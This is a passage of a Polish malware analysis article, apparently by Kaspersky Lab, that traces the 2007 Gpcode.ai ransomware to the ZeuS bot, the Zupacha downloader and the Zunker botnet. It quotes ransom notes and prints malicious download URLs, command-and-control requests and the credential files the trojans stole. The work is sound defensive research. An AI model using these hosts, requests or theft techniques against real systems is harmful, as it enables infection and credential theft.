wydarzenia z ostatnich trzech miesiêcy, ale równie¿
pokazuje, czym w³aœciwie zajmuj¹ siê analitycy wi-
rusów.

Powrót szanta¿ysty

Przez ponad rok nie by³o nowych wiadomoœci o szy-
fruj¹cych koniach trojañskich. W zesz³ym roku w na-
szym artykule zatytu³owanym „Szanta¿ysta” szcze-
gó³owo przedstawiliœmy, w jaki sposób firmy antywi-
rusowe zwalczaj¹ Gpcode’a – program wykorzy-
stuj¹cy algorytm RSA w celu szyfrowania da-
nych u¿ytkownika. W artykule przewidywaliœmy, ¿e
w przysz³oœci pojawi siê wiêksza liczba takich pro-
gramów, jednak do nastêpnego pojawienia siê pro-
gramu szyfruj¹cego, w po³owie lipca 2007 roku,
min¹³ prawie rok.

Mniej wiêcej od 13 lipca niektórzy u¿ytkownicy za-
czêli zauwa¿aæ, ¿e ich dokumenty, zdjêcia, archiwa
i pliki robocze przesta³y siê otwieraæ i zawiera³y „cy-
frowy œmietnik”. Ponadto w ich systemach pojawi³
siê plik o nazwie ‘read_me.txt’. Niestety, zawartoœæ
tego pliku by³a a¿ za dobrze nam znana:

Hello, your files are encrypted with RSA-4096 algorithm

(http://en.wikipedia.org/wiki/RSA).

You will need at least few years to decrypt these files without

our software. All your private information for last 3 months were

collected and sent to us. To decrypt your files you need to buy

our software. The price is $300.

To buy our software please contact us at: xxxxxxx@xxxxx.com

and provide us your personal code -XXXXXXXXX. After suc-

cessful purchase we will send your decrypting tool, and your

private information will be deleted from our system.

If you will not contact us until 07/15/2007 your private informa-

tion will be shared and you will lost all your data.

Glamorous team.

T³umaczenie na jêzyk polski:

Witam, twoje pliki zosta³y zaszyfrowane za pomoc¹ algorytmu

RSA-4096 (http://en.wikipedia.org/wiki/RSA).

Bez naszego oprogramowania bêdziesz potrzebowa³ przynaj-

mniej kilku lat, aby odszyfrowaæ te pliki.

Przez co najmniej 3 miesi¹ce wszystkie twoje prywatne infor-

macje by³y zbierane i przesy³ane do nas. Aby odszyfrowaæ

swoje pliki, musisz kupiæ nasze oprogramowanie. Cena to 300

dolarów.

Aby zakupiæ nasze oprogramowanie, skontaktuj siê z nami

na adres xxxxxxx@xxxxx.com, podaj¹c osobisty kod –

XXXXXXXXX. Po skutecznym zakupie wyœlemy ci twoje narzê-

dzie deszyfruj¹ce, a twoje prywatne informacje zostan¹ usuniê-

te z naszego systemu.
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Trzeci kwarta³ 2007 r. nie by³ tak obfity w wydarzenia, jak oczekiwaliœmy. Naturalnie,

szkodliwe programy nie zniknê³y, a twórcy wirusów z pewnoœci¹ nie zresocjalizowali siê

z dnia na dzieñ. Mimo to zdarzenia zwi¹zane z zagro¿eniami wystêpowa³y na mniejsz¹ skalê

ni¿ w poprzednich miesi¹cach czy latach.

Uniwersalne kody hakerskie Alexander Gostev, Vitaly Kamluk

Ewolucja szkodliwego
oprogramowania



Jeœli nie skontaktujesz siê z nami do 07/15/2007, twoje prywat-

ne informacje zostan¹ udostêpnione i utracisz wszystkie swoje

dane. Zespó³ Glamorou.

Czy¿by nieznany oszust powróci³? Analitycy wiru-
sów z firmy Kaspersky Lab znali ju¿ ten adres
e-mail: u¿yto go w niektórych wariantach trojana
LdPinch oraz bankerach – trojanach o wyraŸnie ro-
syjskich powi¹zaniach.

Przeprowadzona przez nasz zespó³ analiza zaszy-
frowanych plików pokaza³a, ¿e w przeciwieñstwie do
tego, co podano w e-mailu, twórcy wirusów nie wy-
korzystali algorytmu RSA-4096, ale modyfikacjê al-
gorytmu RC4. To znacznie u³atwi³o nasze zadanie.
W ci¹gu 24 godzin od wykrycia trojana szanta¿ysty
zdo³aliœmy z³amaæ klucz szyfruj¹cy i dodaæ do na-
szych antywirusowych baz danych procedury de-
szyfrowania dla plików u¿ytkownika.

Analiza tej nowej wersji Gpcode’a pokaza³a, ¿e
szkodnik ten posiada wiele funkcji. Oprócz szyfro-
wania Gpcode potrafi³ kraœæ dane u¿ytkownika z za-
atakowanej maszyny, wysy³aæ je na serwer zdal-
nego u¿ytkownika oraz pobieraæ z niego okreœlone
pliki.

Wszyscy zdawaliœmy sobie sprawê, ¿e trojany wy-
muszaj¹ce has³a stanowi¹ powa¿ne zagro¿enie i po-
stanowiliœmy bardziej szczegó³owo zbadaæ najnow-
szy szkodliwy program o nazwie Gpcode.ai. Okaza³o
siê, ¿e by³a to bardzo trafna decyzja.

Na tropie Gpcode.ai

Postanowiliœmy skupiæ siê na trzech g³ównych ob-
szarach:

l serwerze, na który trojan wysy³a³ dane i z którego
pobiera³ pliki;

l adresie e-mail podanym w wiadomoœci pozosta-
wionej na zaatakowanych maszynach;

l ci¹gu tekstowym zawartym w ciele trojana „_SY-
STEM_64AD0625_”.

Serwer

Ustaliliœmy, ¿e Gpcode.ai ³¹czy³ siê z serwerem za
pomoc¹ umieszczonego tam skryptu s.php, ponad-
to pobiera³ z serwera plik o nazwie cfg.bin. Plik ten
stanowi³ zaszyfrowany zestaw instrukcji dotycz¹-
cych tego, jakie informacje powinny zostaæ prze-
chwycone z zaatakowanej maszyny (dane o koncie
dla szeregu systemów p³atniczych oraz bankowo-
œci).

Szkodnik ten analizowany by³ przez kilka firm anty-
wirusowych. Alarm podnieœli przedstawiciele PrevX,
którzy na serwerze szkodliwego u¿ytkownika wykryli
pliki pochodz¹ce z 494 zaatakowanych maszyn. Fir-
ma ta poda³a nastêpnie do wiadomoœci, ¿e wœród
ofiar szanta¿ysty znajdowa³o siê wiele du¿ych firm.
Mel Morris, dyrektor generalny PrevX, ujawni³ na-
wet ich nazwy: American Airlines, Booz Allen Hamil-
ton oraz Amerykañski Departament Stanu. ¯adna
z ofiar nie zdecydowa³a siê skomentowaæ decyzji
Morrisa o ujawnieniu tych informacji.

Bran¿a nie pochwala³a tego kroku PrevX. David
Perry z Trend Micro powiedzia³, ¿e postanowienie
PrevX o ujawnieniu szczegó³ów zaniepokoi³o jego
firmê. Najwiêksze firmy antywirusowe próbowa³y
unikaæ podawania jakichkolwiek informacji (takich

jak serwer czy adresy e-mail) dotycz¹cych szkodli-
wych u¿ytkowników, zatajaj¹c te szczegó³y równie¿
w publikowanych opisach wirusa (mimo ¿e nie za-
wsze im siê to udawa³o – zobacz nasz weblog).
Jednak PrevX zdradzi³ ca³emu œwiatu nie tylko to,
gdzie mo¿na uzyskaæ dostêp do prywatnych da-
nych, ale równie¿ do kogo one nale¿¹.

Prawdziw¹ ob³awê prze¿ywa³ martin-golf.net – od-
wiedzany przez ekspertów ds. bezpieczeñstwa, ha-
kerów, przedstawicieli organów œcigania z ró¿nych
pañstw, jak równie¿ zwyk³ych ciekawskich. Badanie,
które mog³oby zostaæ przeprowadzone, zosta³o
przerwane – szkodliwi u¿ytkownicy wiedzieli, ¿e s¹
obserwowani i pozwolili, aby obserwuj¹cy obserwo-
wali obserwuj¹cych, a nie przestêpców.

Z tego powodu ta linia œledztwa nie mog³a przynieœæ
rezultatów, dlatego nasz¹ uwagê skierowaliœmy na
adres e-mail.

E-mail

Chcieliœmy dowiedzieæ siê, jak dok³adnie wygl¹da³a
korespondencja miêdzy cyberprzestêpc¹ a u¿ytko-
wnikiem sk³onnym zap³aciæ pieni¹dze za przywróce-
nie swoich danych. Na jeden z adresów z programu
trojañskiego wys³aliœmy wiec e-mail o nastêpuj¹cej
treœci: „Nazywam siê John Brown. Moje wa¿ne
dane zosta³y zaszyfrowane. Dane te s¹ mi pilnie po-
trzebne do opracowania raportu. Jeœli go nie skoñ-
czê, mój szef mnie zabije”. Nastêpnego dnia otrzy-
maliœmy nastêpuj¹c¹ odpowiedŸ od nieznanego
szkodliwego u¿ytkownika:

Sorry for delay.

Please transfer $500 to e-gold account 4616329 and send us a

e-mail to address oxyglamour@gmail.com. You can buy e-gold

with paypal with help of exchange site listed on official e-gold

site (http://www.e-gold.com/unsecure/links.htm#marketmaker).

After that, we will send your personal decoding program imme-

diately.

T³umaczenie na jêzyk polski:

Przepraszam za zw³okê.

Proszê o przelanie 500 dolarów na konto e-gold nr 4616329

oraz wys³anie wiadomoœci e-mail na adres oxyglamour

@gmail.com. Mo¿esz kupiæ e-gold za pomoc¹ paypala za po-

œrednictwem strony wymienionej na oficjalnej stronie e-gold

(http://www.e-gold.com/unsecure/links.htm#marketmaker).

Jak widaæ z powy¿szego tekstu, autorzy Gpcode.ai
nie prosili o 300 dolarów – jak ¿¹dano w wiadomo-
œci pozostawionej przez trojana – ale o 500 dolarów.
Pieni¹dze te mia³y zostaæ przelane za poœredni-
ctwem e-gold, ulubionego systemu p³atnoœci cyber-
przestêpców. Ponadto zosta³ podany numer konta,
na które nale¿a³o przelaæ pieni¹dze.

Wraz z tym mailem ta linia œledztwa utknê³a w mart-
wym punkcie.

Ci¹g „_SYSTEM_64AD0625_”

Jedyn¹ rzecz¹, jaka pozosta³a, by³o ustalenie, jakie
inne szkodliwe programy mog³y zostaæ stworzone
przez grupê przedstawiaj¹c¹ siê jako „Glamourous
team”. Zaczêliœmy wiêc przeszukiwaæ nasz¹ kole-
kcjê wirusów w celu znalezienia nastêpuj¹cego ci¹-
gu: „_SYSTEM_64AD0625_”.
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Rezultaty by³y zaskakuj¹ce. Muteks ten znaleŸliœmy
w wielu ró¿nych rodzajach trojanów – trojanach
downloaderach, trojanach szpieguj¹cych oraz back-
doorach. Wspóln¹ cech¹ wszystkich tych próbek
by³a nazwa pliku, który szkodliwe programy zainsta-
lowa³y na zaatakowanej maszynie: ntos.exe,
dok³adnie tej samej nazwy pliku u¿ywa³ Gpcode.ai.
Oprócz tego szkodliwe programy znalezione w kole-
kcji zawiera³y pliki o nazwie sporder.dll oraz
rsvp322.dll i tworzy³y podkatalog o nazwie wsnpo-
em, zawieraj¹cy pliki o nazwach audio.dll oraz vi-
deo.dll w katalogu systemu Windows.

Szczegó³owa analiza wybranych plików pokaza³a,
¿e oprócz tego, ¿e zawiera³y one ten sam muteks,
ich kod by³ w ponad 80 proc. identyczny!

„Uniwersalny” kod

Wydawa³o siê, ¿e natrafiliœmy na uniwersalny kod.
Kod ten mia³ na celu nie tylko kradzie¿ danych oraz
instalowanie nowych trojanów na zaatakowanej ma-
szynie. Mia³ równie¿ dzia³aæ jak bot i przy³¹czaæ za-
atakowan¹ maszynê do sieci zombie.

Szkodliwe programy wykorzystuj¹ce ten „uniwersal-
ny” kod posiada³y pojedynczy komponent oraz nie-
wielk¹ (w porównaniu z ca³kowitym rozmiarem pli-
ku), unikatow¹ funkcjê ró¿ni¹c¹ siê w zale¿noœci od
wersji. Interesuj¹ce jest to, ¿e niektóre z tych pro-
gramów wykryliœmy jeszcze pod koniec 2006 r. Przy
pomocy tego „uniwersalnego” kodu stworzono rów-
nie¿ Gpcode.ai. Nowe wpisy i zale¿noœci miêdzy
nimi znacznie rozszerzy³y diagramy, które wykorzy-
stywaliœmy w naszym œledztwie.

Z³a firma

Kolejnym etapem w naszym badaniu by³o przeanali-
zowanie odsy³aczy w próbkach zawieraj¹cych „uni-
wersalny” kod. Z wykrytego niedawno pliku wydoby-
liœmy cztery odsy³acze, które pos³u¿y³y szkodliwemu
programowi do dostarczenia swojej szkodliwej funk-
cji:

http://81.95.149.28/logo/zeus.exe

http://81.95.149.28/logo/zupa.exe

http://myscreensavers.info/zupa.exe

http:/81.95.149.28/logo/fout.php

Co robi ten trojan? Przede wszystkim instaluje siê
na zaatakowanej maszynie jako ntos.exe, nastêpnie
pobiera pliki o nazwie
zeus.exe (http://81.95.149.28/logo/zeus.exe) oraz
zupa.exe (http://81.95.149.28/logo/zupa.exe), ³¹cz¹c siê po-
przez skrypt o nazwie

fout.pho (http:/81.95.149.28/logo/fout.php) w celu zidentyfi-
kowania siebie w botnecie. Trojan pobiera cfg.bin,
zaszyfrowany plik konfiguracyjny. Plik ten zawiera
wiadomoœæ tekstow¹ oraz odsy³acze do innych
stron. Nastêpnie szkodnik zaczyna œledziæ aktyw-
noœæ u¿ytkownika i gdy ten odwiedzi jakiekolwiek
fora, ksiêgi goœci czy blogi, trojan do³¹cza swój
w³asny tekst (wydobyty z cfg.bin i zawieraj¹cy
odsy³acze do szkodliwego pliku [http://myscreensa-

vers.info/zupa.exe]) do wiadomoœci u¿ytkownika:

Skorzystaliœmy z Google, aby znaleŸæ podobne
przyk³ady... bez trudu trafiliœmy na wiele:

Konstruowanie ataku w ten sposób pozwala auto-
rom trojanów wykorzystaæ zainfekowane wczeœniej
maszyny w celu rozprzestrzeniania nowych warian-
tów szkodliwego programu i/lub zwiêkszenia liczby
zainfekowanych komputerów. Przyk³ad ten jasno
pokazuje, w jaki sposób szkodliwi u¿ytkownicy od-
chodz¹ od tradycyjnych wektorów infekcji (np.
wysy³anie szkodliwych programów za poœredni-
ctwem poczty elektronicznej), wykorzystuj¹c do roz-
przestrzeniania swoich tworów moc internetu.

Jakie szkodliwe programy wykorzystywa³ do roz-
przestrzeniania siê analizowany przez nas trojan?
Poni¿sze dane ukazuj¹ interesuj¹cy obraz:

Link
Pobrany szkodliwy

program

Http://81.95.149.28/logo/
zeus.exe

Trojan-Spy.
Win32.Bancos.aam

Http://81.95.149.28/logo/
zupa.exe

Email-Worm.
Win32.Warezov.dq

http://myscreensavers.info/
zupa.exe

Trojan-Spy.
Win32.Bzub.bm
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S¹ to oddzielne rodziny. Na pierwszy rzut oka nie
maj¹ ze sob¹ nic wspólnego i z pocz¹tku s¹dzono,
¿e zosta³y napisane przez ró¿ne grupy twórców
szkodliwego oprogramowania. Jednak rozprzestrze-
nia³y siê z tej samej strony i przy pomocy tego sa-
mego trojana downloadera. Co wiêcej – w pewien
sposób s¹ one zwi¹zane z trojanem Gpcode.ai!

Do koñca nie by³o wiadomo, co to znaczy. Zaczê-
liœmy podejrzewaæ istnienie miêdzynarodowej gru-
py zamieszanej w tworzenie i rozprzestrzenianie
ogromnej wiêkszoœci dzisiejszych szkodliwych pro-
gramów.

Nasze najgorsze obawy potwierdzi³y siê, gdy prze-
analizowaliœmy botnet, który zosta³ stworzony przy
u¿yciu Bzuba. Sta³o siê jasne, ¿e trojan, nazwany
przez swojego autora Zupacha, by³ bezpoœrednim
krewnym Bzuba. Bzub oraz Zupacha to prawie iden-
tyczne programy, jednak Bzub posiada funkcjê troja-
na szpieguj¹cego, Zupacha natomiast jej nie po-
siada.

Bzub/Zupacha s¹ klientami bota zarz¹dzanymi
przez system botnetu Zunker.

Istnieje jeszcze inny szkodliwy program zwi¹zany
z botnetem Zunker: E-mail-Worm.Win32.Zhela-
tin.bg. Jest to jeden ze s³awnych robaków Storm,
które od pocz¹tku 2007 roku zalewa³y ruch poczto-
wy. W celu rozprzestrzeniania siê robaki te wykorzy-
stuj¹ zaawansowane metody socjotechniki.

Podsumowuj¹c: Zhelatin, Warezov, Bancos.aam,
Bzub, a teraz Gpcode.ai s¹ ze sob¹ powi¹zane.
Programy te pochodz¹ z ró¿nych rodzin, jednak ro-
dziny te nale¿¹ do jednych z najaktywniejszych
i najniebezpieczniejszych szkodliwych programów
w tym momencie. Pliki o takich nazwach, jak
ntos.exe, video.dll, audio.dll, sporder.dll, lcewza.exe, filech.exe,

filede.exe, iphone.scr, ldr.exe, ldr2.exe, loader.exe, pajero.exe,

update92520748.exe, zeus.exe, zs1.exe s¹ dobrze znane
analitykom wirusów na ca³ym œwiecie.

Powi¹zania miêdzy trojanami przedstawiaj¹ siê
w nastêpuj¹cy sposób:

W czasie gdy prowadziliœmy nasze dochodzenie,
nieznani szkodliwi u¿ytkownicy stali siê ca³kowicie
znani. Mówi¹c œciœlej, nie próbowali zwróciæ na sie-
bie uwagi, jednak wydarzenia, jakie nast¹pi³y, oka-
za³y siê bardzo znacz¹ce.

Broker

25 lipca 2007 r. (zaledwie 10 dni po pojawieniu siê
Gpcode.ai) analitycy z firmy Kaspersky Lab zauwa-
¿yli aktywne rozprzestrzenianie siê nowego szkodli-
wego programu. Jego ofiar¹ padli u¿ytkownicy kilku
najpopularniejszych rosyjskich stron informacyjnych
– utro.ru, gzt.ru, rbc.ru.

Sta³o siê jasne, ¿e otworzyli oni odsy³acz (http://

www.txt.utro.ru/cgi-bin/banner/rian?86028&options=FN) w sy-
stemie banerowym Utro.ru, który zawiera³ odsy³acz
do zainfekowanej strony (http://81.95.145.210/333/m00

333/index.php). Stronê tê hostowa³a firma RBN (Rus-
sian Business Network).

Po otwarciu tej strony przegl¹darka u¿ytkownika
by³a atakowana przy u¿yciu kolekcji eksploitów
(w tym przypadku Mpack). Gdyby atak siê powiód³,
na zaatakowan¹ maszynê zosta³by pobrany trojan
downloader. Program ten zainstalowa³by z kolei
inny szkodliwy program – Trojan-Spy.Win32.Ban-
cos.aam.

Po zainstalowaniu siê w systemie trojan zacz¹³by
wykonywaæ nastêpuj¹ce polecenia:

Host: 81.95.149.66

GET /e1/file.php HTTP/1.1

GET /ldr1.exe HTTP/1.1

GET /cfg.bin HTTP/1.0

POST /s.php?1=april_002fdf3f&i= HTTP/1.0.

W rezultacie na zaatakowanej maszynie pojawi³by
siê plik o nazwie ntos.exe (nazwa dobrze znana
analitykom wirusów). Plik ten wykorzystywany by³
do instalowania Gpcode.ai w systemie. Spodzie-
waj¹c siê najgorszego, w postaci nowego programu
szyfruj¹cego, zaczêliœmy szczegó³owo analizowaæ
ten plik. Okaza³o siê jednak, ¿e program ten nie jest
wariantem Gpcode. Ta nowa wersja Bancos.aam
by- ³a pierwszym trojanem szpieguj¹cym stworzo-
nym w celu kradzie¿y danych u¿ytkowników rosyj-
skiego systemu QUIK.

QUIK jest pakietem aplikacji zapewniaj¹cym dostêp
online do systemów gie³d papierów wartoœciowych.
Sk³ada siê z aplikacji po stronie serwera oraz termi-
nalu po stronie klienta, które komunikuj¹ siê ze
sob¹ za poœrednictwem internetu.

Uzyskiwanie przez cyberprzestêpców dostêpu do
kont bankowych to zjawisko wystêpuj¹ce ju¿ od
d³u¿szego czasu, jednak kradzie¿ danych umo¿li-
wiaj¹cych dostêp do internetowych gie³d papierów
wartoœciowych to coœ nowego.

Trojan ten skanowa³ zaatakowan¹ maszynê w po-
szukiwaniu plików o nazwie secring.txk, pubring.txk oraz
qcrypto.cfg zawieraj¹cych zapisane parametry dostê-
pu do systemu QUIK. Dane z tych plików wysy³ane
by³y nastêpnie z powrotem na serwer.

Wiedz¹c dok³adnie, jakich plików szuka³ program
szpieguj¹cy, po raz kolejny przeszukaliœmy nasz¹
kolekcjê wirusów. ZnaleŸliœmy kolejne piêæ warian-
tów trojana, z których pierwszy pochodzi³ z po-
cz¹tków lipca 2007 r. W rezultacie wszystkie te pro-
gramy zosta³y zaklasyfikowane do nowej rodziny
o nazwie Trojan-PSW.Win32.Broker.

Trojany te wykazywa³y zadziwiaj¹ce podobieñstwo
do trojana Gpcode.ai pod wzglêdem kodu. Ró¿nice
polega³y na tym, ¿e jeden krad³ dane, drugi szyfro-
wa³ dane. Po raz kolejny natrafiliœmy na „uniwersal-
ny” kod.

Wstêpne wyniki

Do 1 sierpnia 2007 r. ustaliliœmy nastêpuj¹ce fakty:

n Gpcode.ai wykorzystywa³ „uniwersalny” kod i kon-
taktowa³ siê ze stron¹ martin-golf.net.
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n Bancos.aam wykorzystywa³ „uniwersalny” kod
i pobiera³ pliki hostingowane przez firmê Russian
Business Network (RBN).

n Niektóre z botnetów Zunkera, które ju¿ wykryli-
œmy, by³y hostingowane w zasobach RBN.

n Botnety Zunkera dzia³aj¹ jak centra dowodzenia
dla downloaderów, które pobieraj¹ programy po-
dobne do Bancos.aam/Gpcode.ai.

n Wœród szkodliwych programów, które mog¹ byæ
zarz¹dzane przez Zunkera, znajduje siê down-
loader Zunker, program szpieguj¹cy Bzub i pra-
wdopodobnie robak Zhelatin (Storm).

n Jeden z takich botnetów zosta³ wykorzystany do
rozprzestrzeniania robaka Warezov.

Wci¹¿ jednak brakowa³o nam jednego kawa³ka
uk³adanki – kim by³ autor „uniwersalnego” kodu, tak
powszechnie wykorzystywanego w tak wielu ró¿-
nych szkodliwych programach? Czy za te wszystkie
incydenty odpowiedzialna by³a ta sama grupa twór-
ców wirusów?

Wiele czasu poœwiêciliœmy na czytanie ró¿nych
stron oraz forów hakerskich, w wiêkszoœci w jêzyku
rosyjskim. Stopniowo sytuacja zaczyna³a siê wyjaœ-
niaæ.

W poszukiwaniu „uniwersalnego” kodu

Zunker oraz Zupacha

Czym wiêc zajmowaliœmy siê przez ca³y ten czas?
Strony hakerskie aktywnie sprzedawa³y pakiet Zun-
ker+Zupacha – centrum dowodzenia botnetu oraz
klient bota. To ju¿ wiedzieliœmy. Interesuj¹cym od-
kryciem by³o to, ile pieniêdzy nieznani autorzy sy-
stemu bota ¿¹dali za swój pakiet: do 3000 dolarów.
Od czasu do czasu pojawia³y siê oferty „dwa w jed-
nej cenie” w wysokoœci oko³o 200 dolarów. Takie
oferty sk³adali prawdopodobnie inni w³aœciciele kodu
Ÿród³owego pakietu trojanów.

My jednak nie mieliœmy ¿adnych problemów z uzy-
skaniem plików Zunker oraz Zupacha za darmo,
znaj¹c adresy niektórych aktywnych botnetów. Wy-
starczy³o skorzystaæ z Google.

Funkcje Zupacha okaza³y siê groŸne. Oprócz pobie-
rania plików na zaatakowan¹ maszynê, g³ównym
zadaniem tego programu jest dalsze rozprzestrze-
nianie siê. Opisaliœmy ju¿ jeden ze sposobów jego
rozprzestrzeniania siê (poprzez zamieszczanie swo-
ich tekstów w wiadomoœciach na forach). Ogólnie
Zupacha potrafi rozsy³aæ swoje odsy³acze przy u¿y-
ciu technik spamowych w nastêpuj¹cy sposób:

n Spam ICQ/Jabber: teksty z odsy³aczami do zain-
fekowanych stron dodawane s¹ do wszystkich
wiadomoœci, które ofiara wymienia ze swoimi
kontaktami za poœrednictwem komunikatorów in-
ternetowych tych klientów.

n Spam www: teksty dodawane s¹ do ka¿dego for-
mularza internetowego wype³nionego przez u¿yt-
kownika. Z regu³y s¹ to formularze znajduj¹ce siê
na forach oraz interfejsach sieciowych systemów
pocztowych.

n Spam e-mail: teksty dodawane s¹ do wiadomoœci
e-mail.

Nale¿y zauwa¿yæ, ¿e w zaprezentowanych wy¿ej
przypadkach Zupacha nie inicjuje masowej wysy³ki
wiadomoœci. Monitoruje jedynie aktywnoœæ u¿ytkow-
nika i dodaje swoje teksty do ka¿dej wiadomoœci
wychodz¹cej – w taki sposób, ¿eby u¿ytkownik ich
nie zauwa¿y³! Celem tej funkcji jest utrudnienie wy-
krycia infekcji.

Jednak Zupacha nie kradnie danych – jest to je-
dynie samodzielnie rozprzestrzeniaj¹cy siê trojan
downloader, dlatego te¿ nie mo¿e byæ tym nies³aw-
nym „uniwersalnym” kodem.

OdpowiedŸ na nasze pytanie otrzymaliœmy po dal-
szej analizie ofert hakerów dotycz¹cych szkodliwych
programów: „uniwersalny” kod, który zosta³ wy-

korzystany w setkach wariantów Bancos.aam,

Gpcode.ai oraz Broker okaza³ siê botem ZeuS

(nazwa u¿yta przez samego autora).

ZeuS – Zbot

Zgromadzone przez nas dane dotycz¹ce wariantów
ZeuS, które ju¿ posiadaliœmy, plus dochodzenia
przeprowadzone w internecie pozwoli³y nam uzy-
skaæ prawie pe³ny obraz tego programu.

Zacznijmy od faktu, ¿e bot zosta³ pierwotnie stwo-
rzony w celu odsprzeda¿y ka¿demu, kto chcia³by go
kupiæ, oraz skonfigurowania zgodnie z ¿yczeniami
klienta. Autor programu nie oferowa³ „wsparcia tech-
nicznego” osobom, które go zakupi³y, zlecaj¹c tê
funkcjê innym. Po rozg³osie wokó³ Gpcode.ai oraz
Broker wydaje siê, ¿e autor uzna³, ¿e jego twór za
bardzo zwróci³ na siebie uwagê i organy œcigania
wykazywa³y zbyt wielkie zainteresowanie nim.
Og³osi³ wiêc, ¿e sprzeda¿ programu zosta³a zakoñ-
czona.

Powy¿szy zrzut ekranu pokazuje rozmowê, w której
autor programu wyjaœnia, ¿e program nie jest ju¿ na
sprzeda¿, jednak „starzy klienci” nadal bêd¹ otrzy-
mywali wsparcie.

Historia ta przypomina zdarzenia, jakie mia³y miejs-
ce pod koniec zesz³ego roku, gdy na skutek incy-
dentów zwi¹zanych z kradzie¿¹ danych klientów
banku Nordea us³yszeliœmy o trojanie Nuclear Grab-
ber z bardzo podobn¹ funkcjonalnoœci¹. Na pew-
nym etapie trojan ten by³ sprzedawany za 3000 do-
larów, a jego autor, Corpse, udzieli³ nawet wywiadu
jednemu z dziennikarzy. Corpse og³osi³ nastêpnie
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na swojej stronie, ¿e „wycofuje siê z biznesu”, ¿e
ca³y kod Ÿród³owy zosta³ zniszczony wraz z dyskiem
twardym i ¿e nie bêdzie ju¿ d³u¿ej tworzy³ ani wspie-
ra³ szkodliwych programów.

W przypadku ZeuS scenariusz by³ bardzo podobny.
Mimo ¿e pod koniec lipca autor zamkn¹³ sklep, kon-
struktor nadal kr¹¿y³ wœród hakerów. Umo¿liwia³ on
tworzenie nowych wariantów bota z okreœlonymi
funkcjami. Kilka rywalizuj¹cych ze sob¹ grup za-
czê³o sprzedawaæ i rozprzestrzeniaæ te nowe wa-
rianty.

Pocz¹tkowo ZeuS posiada³ stosunkowo ograni-
czon¹ funkcjonalnoœæ bota – pobiera³ jedynie inne
pliki do systemu. Z czasem jednak jego funkcjonal-
noœæ zosta³a rozszerzona. Nie wiemy, czy dokona³
tego sam autor, czy te¿ te nowe funkcje zaimp-
lementowali nowi „w³aœciciele” kodu Ÿród³owego.
Najistotniejsz¹ innowacj¹ by³o pojawienie siê uni-
wersalnego „interfejsu” w ZeuS, który pozwala³ pro-
gramowi na ³¹czenie siê z botnetem Zunker (podob-
nie jak Zupacha), otrzymywanie instrukcji za po-
œrednictwem pliku cfg.bin i wykonywanie ich w locie.

Stworzyliœmy program do deszyfrowania niektórych
plików cfg.bin. Okaza³o siê, ¿e pliki te zawiera³y ad-
resy online ró¿nych banków i systemów p³atnoœci.
W³aœciciele botnetu mogli szybko dodaæ adresy no-
wych celów, aby œledziæ aktywnoœæ u¿ytkownika
i przechwytywaæ dane.

Oprócz standardowych procedur (takich jak instalo-
wanie siê na zaatakowanej maszynie, wstrzykiwanie
w³asnego kodu do uruchamianych procesów, zwal-
czanie niektórych rozwi¹zañ antywirusowych) bot
posiada³ równie¿ rozbudowan¹ funkcjonalnoœæ kra-
dzie¿y danych:

n Trojan przechwytuje zawartoœæ Pamiêci Chronio-
nej (Protected Storage), która zawiera zapisane
has³a u¿ytkownika.

n „Form grabber”. Trojan przechwytuje wszystkie
dane wprowadzane do formularza przesy³anego
za poœrednictwem przegl¹darki. Lista monitoro-
wanych adresów sk³ada siê, z regu³y, z banków
i systemów p³atnoœci. W ten sposób kradzione s¹
konta bankowe.

n Omijanie wirtualnych klawiatur. Trojan przechwy-
tuje wciœniêcia przycisków myszy i wykonuje
zrzuty ekranu podczas przechwytywania danych.

n Fa³szowanie witryn i stron. Jest to bardzo intere-
suj¹ca metoda, wykorzystywana wczeœniej w Nu-
clear Grabber. Gdy u¿ytkownik próbuje skontak-
towaæ siê z jedn¹ ze stron monitorowanych przez
trojana w celu przechwytywania danych, ¿¹danie
jest przekierowywane na stronê phishingow¹ lub
do oryginalnej strony dodawane jest nowe pole
wprowadzania danych. Zawartoœæ strony jest mo-
dyfikowana na komputerze u¿ytkownika, zanim
strona zostanie wyœwietlona przez prze- gl¹dar-
kê.

n Kradzie¿ certyfikatów.

Cech¹ rozpoznawcz¹ ZeuS, dziêki której bardzo
szybko odnaleŸliœmy jego warianty w naszej kolek-
cji, jest muteks tworzony w celu zaznaczenia swojej
obecnoœci w pamiêci: _SYSTEM_.

Na przyk³ad:

__SYSTEM__91C38905__

__SYSTEM__64AD0625__

__SYSTEM__23D80F10__

__SYSTEM__7F4523E5__

__SYSTEM__45A2F601__.

Dziêki temu mogliœmy sklasyfikowaæ wszystkie wa-
rianty ZeuS do oddzielnej rodziny o generycznej na-
zwie Zbot.

To w³aœnie jest ten „uniwersalny” kod; wykorzystuje
on wiele oryginalnych metod w celu kradzie¿y wszel-
kiego rodzaju danych. Najniebezpieczniejsze jest to,
¿e do ka¿dego nowego wariantu mo¿na dodaæ wiele
innych funkcji, tak jak w przypadku Gpcode.ai.

Trzy Z

Teraz wszystko sta³o siê jasne. W rezultacie rosyj-
ska spo³ecznoœæ cyberprzestêpców stosuje standar-
dowy pakiet: zestaw Zupacha+ZeuS oraz zarz¹dza-
ny przez ten zestaw botnet Zunker.

Rozmiar sieci zombie stworzonych przy u¿yciu tych
programów jest imponuj¹cy. Jedna z najwiêkszych
sieci, stworzona przy u¿yciu Zunker, sk³ada³a siê
w momencie wykrycia z 106000 zaatakowanych
maszyn – co 24 godziny dodawanych by³o 1500 no-
wych komputerów. Zupacha potrafi³ bardzo skutecz-
nie siê rozprzestrzeniaæ, poniewa¿ centrum dowo-
dzenia botnetu jest ³atwe w konfiguracji i u¿yciu.

Ka¿dy szkodliwy u¿ytkownik, nawet „dzieciak skryp-
towy”, móg³by kupiæ te dwa trojany (ZeuS oraz Zu-
pacha) skonfigurowane specjalnie dla konkretnego
klienta. Nastêpnie musia³ wynaj¹æ serwer i zainsta-
lowaæ Zunkera (panel steruj¹cy botnetu). Natural-
nie, w wielu przypadkach wybran¹ firm¹ hostingow¹
by³a Russian Business Network, o której przez
ostatnie szeœæ miesiêcy donosi³y media i która zy-
ska³a na Zachodzie reputacjê podobn¹ do tej, jak¹
cieszy³a siê Umbrella Corporation w grze video Re-
sident Evil.

Interesowa³a nas nie tyle RBN, co jej klienci oraz
wykorzystywane przez nich botnety. Poniewa¿ wie-
dzieliœmy, gdzie i czego szukaæ, ³atwo zidentyfi-
kowaliœmy kilka takich systemów (zobacz wykres
powy¿ej).

Jesteœmy pewni, ¿e niektóre z botnetów Zunker
wykorzystywane by³y do rozprzestrzeniania niebez-
piecznych szkodliwych programów, takich jak Zhela-
